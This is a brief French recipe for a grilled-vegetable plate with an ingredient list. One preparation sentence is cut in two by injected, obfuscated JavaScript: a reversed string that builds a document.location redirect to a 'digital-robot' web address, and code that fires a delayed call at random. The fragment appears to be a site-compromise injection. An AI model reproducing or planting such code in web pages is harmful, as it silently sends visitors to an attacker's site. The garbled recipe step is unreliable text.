Assiette de légumes grillées et ses trois sauces

Tranchez l’aubergine en rondelles de 1 cm. Pelez les poivrons. Coupez-les en quatre. Ôtez les graines. Coupez-les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates en deux. Coupez-les courgettes en tronçons de 4 cm.

Ingrédients

• Pour 4 personnes
• 1 aubergine
• 2 poivrons rouges
• 3 tomates olivettes
• 150 g d'olives vertes
• 125 g de feta
• 1 cuillère à soupe de câpres
• 125 g de tomates séchées
• 1 cuillère à soupe de pignons de pin
• 1 gousse d'ail
• 20 cl d'huile d'olive
• Sel - Poivre
• Quelques feuilles de menthe

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